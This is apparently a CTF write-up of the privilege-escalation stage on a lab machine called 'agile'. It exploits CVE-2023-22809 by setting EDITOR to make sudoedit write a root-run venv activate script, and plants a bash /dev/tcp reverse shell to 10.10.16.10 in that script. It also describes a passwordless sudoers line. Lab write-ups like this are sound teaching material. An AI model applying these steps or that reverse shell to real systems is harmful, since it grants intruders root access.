PrivEsc

We can run the binary sudoedit as dev_admin to open specific files. So lets check the version number of this binary.

edwards@agile:/app/app-testing/tests/functional$ sudoedit -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

To escalate our privileges, we need to utilize a vulnerability in sudo 1.8.0 to 1.9.12p1.

edwards@agile:~/.config/cni/net.d$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

CVE-2023-22809 exploits the handling of the EDITOR environment variable in sudoedit. The crux of the vulnerability lies in the fact that sudoedit respects the EDITOR variable when launching an editor to modify files. When a user runs sudoedit with restricted file access, it opens the specified file in the editor defined by the EDITOR variable. If an attacker can manipulate this variable, they can force sudoedit to open files other than the intended ones, including sensitive files such as /etc/sudoers.

For example, if a user is only permitted to edit a specific file (e.g., /app/config_test.json), the attacker can set the EDITOR variable to something like EDITOR='vim -- /etc/sudoers', and then execute sudoedit -u root /app/config_test.json. This causes sudoedit to invoke vim and edit /etc/sudoers as root, despite the user only being authorized to edit /app/config_test.json. By modifying the sudoers file, an attacker could escalate their privileges, often by adding a line like edwards ALL=(ALL) NOPASSWD: ALL, granting them root access without requiring a password. This results in privilege escalation, which is the primary security risk.

But we cannot run sudoedit as root but only has dev_admin who cannot edit the sudoers file. What can we edit then?

Files accessible to dev_admin

edwards@agile:~$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json

edwards@agile:~$ find / -group dev_admin 2>/dev/null
/home/dev_admin
/app/venv
/app/venv/bin
/app/venv/bin/activate
/app/venv/bin/Activate.ps1
/app/venv/bin/activate.fish
/app/venv/bin/activate.csh

The /venv/bin/activate file was referenced by test_and_update.sh

edwards@agile:/app$ grep -r 'venv/bin/activate'
grep: app-testing/tests/functional/creds.txt: Permission denied
grep: app-testing/.pki: Permission denied
test_and_update.sh:source /app/venv/bin/activate
grep: config_test.json: Permission denied
venv/lib/python3.10/site-packages/selenium-4.7.2.dist-info/METADATA: - `python3.7 -m venv .venv && . .venv/bin/activate && pip install tox`
grep: config_prod.json: Permission denied

/app/venv/bin/activate: This is the path to the activate script within a Python virtual environment (venv). The activate script modifies the environment to use the Python interpreter and packages installed within the virtual environment instead of the system-wide Python installation.

So where are we now?

1. From ps -ef --forest command ran previously we saw that there is a cron job running as root. And it runs test_and_update.sh script.

2. test_and_update.sh script will run /app/venv/bin/activate file. And dev_admin can edit this file, and we can run sudoedit with dev_admin but on specific files.

3. The CVE lets us bypass the restriction so we can edit any file accessible to dev_admin.

So if I edit the activate file and add a reverse shell in it:

EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

edwards@agile:/app$ cat /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

bash -i >& /dev/tcp/10.10.16.10/1337 0>&1
deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
<SNIP>

We should get a shell as root if the cron job runs.